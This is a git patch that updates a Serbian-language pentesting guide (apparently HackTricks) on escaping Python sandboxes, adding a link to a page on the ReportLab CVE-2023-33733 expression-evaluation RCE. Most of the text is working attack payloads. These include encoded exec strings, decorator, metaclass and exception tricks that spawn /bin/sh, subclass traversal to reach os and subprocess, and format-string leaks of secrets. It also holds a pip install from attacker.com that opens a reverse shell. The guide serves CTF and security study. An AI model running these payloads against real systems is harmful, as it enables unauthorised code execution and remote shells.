From c3f232f409bc9c8b3944a3841525085d606deeb5 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 10:26:49 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- src/SUMMARY.md | 1 + .../python/bypass-python-sandboxes/README.md | 210 +++++++++--------- ...xpression-evaluation-rce-cve-2023-33733.md | 79 +++++++ .../pentesting-web/django.md | 64 +++--- 4 files changed, 228 insertions(+), 126 deletions(-) create mode 100644 src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 1659bf643..1b61cadc6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -70,6 +70,7 @@ - [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md) - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) + - [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 73618ed13..4f2e6da1b 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -Ovo su neki trikovi za zaobilaženje zaštite python sandboksova i izvršavanje proizvoljnih komandi. +Ovo su neke tehnike za bypass Python sandboxes i izvršavanje proizvoljnih komandi. -## Biblioteke za izvršavanje komandi +## Command Execution Libraries -Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezenom bibliotekom, ili ako možete uvesti neku od ovih biblioteka: +Prva stvar koju treba da znate je da li možete direktno da izvršite kod koristeći neku već importovanu biblioteku, ili da li možete da importujete neku od ovih biblioteka: ```python os.system("ls") os.popen("ls").read() @@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitati fajlove** unutar python sandboksa i za **pisanje nekog koda** koji možete **izvršiti** da **obiđete** sandbox. +Zapamtite da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox i za **pisanje nekog koda** koji biste mogli **izvršiti** da biste **zaobišli** sandbox. -> [!CAUTION] > **Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program sruši. +> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što program padne. -Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'` +Python pokušava da **prvo učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) -## Obilaženje pickle sandboksa sa podrazumevano instaliranim python paketima +## Bypass pickle sandbox with the default installed python packages ### Podrazumevani paketi -Možete pronaći **listu unapred instaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Imajte na umu da iz picklea možete učiniti da python okruženje **uvozi proizvoljne biblioteke** instalirane u sistemu.\ -Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi: +Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ +Imajte na umu da iz pickle-a možete naterati python env da **import arbitrary libraries** instalirane u sistemu.\ +Na primer, sledeći pickle, kada se učita, će importovati pip biblioteku da je iskoristi: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -66,32 +66,32 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Za više informacija o tome kako pickle funkcioniše, proverite ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Za više informacija o tome kako pickle radi, pogledajte ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) -### Pip paket +### Pip package -Trik koji je podelio **@isHaacK** +Trik podelio **@isHaacK** -Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverznu ljusku pozivajući: +Ako imate pristup `pip` ili `pip.main()` možete instalirati proizvoljan paket i dobiti reverse shell pozivanjem: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` -Možete preuzeti paket za kreiranje reverzne ljuske ovde. Imajte na umu da pre korišćenja treba da **dekompresujete, promenite `setup.py` i stavite svoju IP adresu za reverznu ljusku**: +Možete preuzeti paket za kreiranje reverse shell ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py`, i unesete svoju IP adresu za reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!TIP] -> Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napustite reverznu ljusku, ostatak instalacije neće uspeti, tako da **nećete ostaviti nijedan dodatni python paket instaliran na serveru** kada odete. +> Ovaj paket se zove `Reverse`. Međutim, on je posebno napravljen tako da kada izađete iz reverse shell ostatak instalacije neće uspeti, tako da vi **nećete ostaviti nijedan dodatni python package instaliran na serveru** kada odete. -## Eval-ovanje python koda +## Eval-ing python code > [!WARNING] -> Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite walrus operator) +> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (pogledajte walrus operator) -Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje: +Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **bypass** ograničenje: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` -### Druge biblioteke koje omogućavaju izvršavanje python koda +### Ostale biblioteke koje omogućavaju eval python koda ```python #Pandas import pandas as pd @@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` -## Operateri i kratke trikove +Pogledajte i realan primer bekstva iz sandboxovanog evaluatora u PDF generatorima: + +- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Iskorišćava rl_safe_eval da pristupi function.__globals__ i os.system preko evaluiranih atributa (na primer, boje fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno. + +{{#ref}} +reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +## Operatori i kratki trikovi ```python # walrus operator allows generating variable inside a list ## everything will be executed in order @@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` -## Bypass zaštita kroz kodiranja (UTF-7) +## Zaobilaženje zaštita putem kodiranja (UTF-7) -U [**ovoj analizi**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandboks okruženja: +U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox okruženja: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -148,13 +156,13 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Takođe je moguće zaobići to koristeći druge kodiranja, npr. `raw_unicode_escape` i `unicode_escape`. +Takođe je moguće zaobići ga koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`. -## Python izvršavanje bez poziva +## Izvršavanje u Pythonu bez poziva -Ako ste unutar python zatvora koji **ne dozvoljava pozive**, još uvek postoje neki načini da **izvršite proizvoljne funkcije, kod** i **komande**. +Ako se nalazite unutar python jail-a koji **ne dozvoljava pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**. -### RCE sa [decorator-ima](https://docs.python.org/3/glossary.html#term-decorator) +### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -176,13 +184,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE kreiranje objekata i preopterećenje +### RCE creating objects and overloading -Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih pozivate direktno**. +Ako možete **declare a class** i **create an object** te klase, možete **write/overwrite different methods** koje se mogu **triggered** **without** **needing to call them directly**. -#### RCE sa prilagođenim klasama +#### RCE with custom classes -Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih naterate da **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja. +Možete izmeniti neke **class methods** (_by overwriting existing class methods or creating a new class_) da bi one **execute arbitrary code** kada su **triggered** bez direktnog pozivanja. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### Kreiranje objekata sa [metaklasama](https://docs.python.org/3/reference/datamodel.html#metaclasses) +#### Kreiranje objekata sa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Ključna stvar koju metaklase omogućavaju je **da napravimo instancu klase, bez direktnog pozivanja konstruktora**, kreiranjem nove klase sa ciljanom klasom kao metaklasom. +Ključna stvar koju nam metaclasses omogućavaju je da **napravimo instancu klase, bez direktnog pozivanja konstruktora**, tako što kreiramo novu klasu koja ima ciljnu klasu kao metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -249,9 +257,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### Kreiranje objekata sa izuzecima +#### Kreiranje objekata pomoću exceptions -Kada se **izuzetak aktivira**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): +Kada **exception se pokrene**, objekat klase **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): @@ -293,7 +301,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Čitajte datoteku uz pomoć ugrađenih funkcija i licence +### Pročitaj fajl sa builtins help & license ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -307,17 +315,17 @@ pass - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) -Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da možete koristiti i druge string reprezentacije prikazane u poslednjem odeljku): +Ako možete pristupiti objektu **`__builtins__`**, možete importovati biblioteke (imajte na umu da ovde možete takođe koristiti i druge string reprezentacije prikazane u poslednjem odeljku): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### No Builtins +### Nema `__builtins__` -Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čak da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\ -Međutim, **po defaultu, python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrarne izvršne** koda. +Kada nemaš `__builtins__` nećeš moći importovati ništa niti čak čitati ili pisati fajlove, pošto **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\ +Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih su **takođe importuju opasne** funkcionalnosti unutra kojih se može pristupiti da bi se dobilo čak i **proizvoljno izvršavanje koda**. -U sledećim primerima možete posmatrati kako da **zloupotrebite** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih. +U narednim primerima možeš videti kako da **zloupotrebiš** neke od ovih "**benignih**" modula učitanih da bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih. **Python2** ```python @@ -359,7 +367,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **builtins**. +[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **builtins**. #### Python2 i Python3 ```python @@ -367,7 +375,7 @@ get_flag.__globals__['__builtins__'] __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` -### Ugrađeni payloadi +### Builtins payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() @@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globalne i lokalne -Proveravanje **`globals`** i **`locals`** je dobar način da saznate šta možete da pristupite. +Provera **`globals`** i **`locals`** je dobar način da saznate čemu imate pristup. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } @@ -401,15 +409,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **globals**. +[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **globals**. -## Otkrijte proizvoljnu izvršavanje +## Discover Arbitrary Execution -Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti koje su učitane** i predložim pouzdanije eksploate. +Ovde želim objasniti kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložiti pouzdanije exploits. -#### Pristupanje podklasama sa zaobilaženjima +#### Accessing subclasses with bypasses -Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa osnovnim podklasama**. U prethodnim primerima to je učinjeno korišćenjem `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**: +Jedan od najosetljivijih delova ove tehnike je mogućnost da se **access the base subclasses**. U prethodnim primerima ovo je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Pronalaženje opasnih učitanih biblioteka +### Pronalaženje opasnih biblioteka koje su učitane -Na primer, znajući da sa bibliotekom **`sys`** može da se **importuje proizvoljna biblioteka**, možete pretražiti sve **module koji su učitani i koji imaju importovan sys unutar njih**: +Na primer, znajući da sa bibliotekom **`sys`** moguće je **import arbitrary libraries**, možete pretražiti sve **učitane module koji su u sebi importovali `sys`**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Postoji mnogo, i **samo nam je jedan potreban** da izvršimo komande: +Ima ih mnogo, i **treba nam samo jedan** da izvršimo komande: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**: +Isto možemo uraditi i sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -483,7 +491,7 @@ Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu k #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` -Pored toga, mogli bismo čak pretražiti koji moduli učitavaju zlonamerne biblioteke: +Štaviše, mogli bismo čak i da potražimo koji moduli učitavaju maliciozne biblioteke: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: @@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Pored toga, ako mislite da **druge biblioteke** mogu **pozvati funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka: +Štaviše, ako mislite da **ostale biblioteke** mogu da **pozivaju funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -535,10 +543,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## Rekurzivno pretraživanje Builtins, Globals... +## Rekurzivna pretraga Builtins, Globals... > [!WARNING] -> Ovo je jednostavno **neverovatno**. Ako **tražite objekat kao što su globals, builtins, open ili bilo šta** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.** +> Ovo je prosto **sjajno**. Ako tražite **objekat kao globals, builtins, open ili bilo šta drugo** jednostavno koristite ovaj script da **rekurzivno pronađete mesta gde možete naći taj objekat.** ```python import os, sys # Import these to find more gadgets @@ -656,13 +664,14 @@ main() ``` Možete proveriti izlaz ovog skripta na ovoj stranici: + {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String -Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama u pythonu.** Možete koristiti prethodne primere da pristupite globalnim ili ugrađenim funkcijama, na primer. +Ako **pošaljete** **string** u python koji će biti **formatiran**, možete koristiti `{}` da pristupite **internim informacijama pythona.** Možete koristiti prethodne primere da, na primer, pristupite globals ili builtins. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -682,16 +691,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Napomena kako možete **pristupiti atributima** na normalan način sa **tačkom** kao `people_obj.__init__` i **elementu rečnika** sa **zagradama** bez navodnika `__globals__[CONFIG]` +Obratite pažnju kako možete **pristupiti atributima** na uobičajen način pomoću **tačke**, na primer `people_obj.__init__`, i **elementu dict-a** pomoću **uglaste zagrade** bez navodnika `__globals__[CONFIG]` -Takođe, imajte na umu da možete koristiti `.__dict__` za enumeraciju elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +Takođe obratite pažnju da možete koristiti `.__dict__` da nabrojite elemente objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** u naznačenom objektu dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno: +Some other interesting characteristics from format strings is the possibility of **executing** the **functions** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Pored toga, moguće je **kodirati nove formatere** u klasama: +Štaviše, moguće je **code new formatters** u klasama: ```python class HAL9000(object): def __format__(self, format): 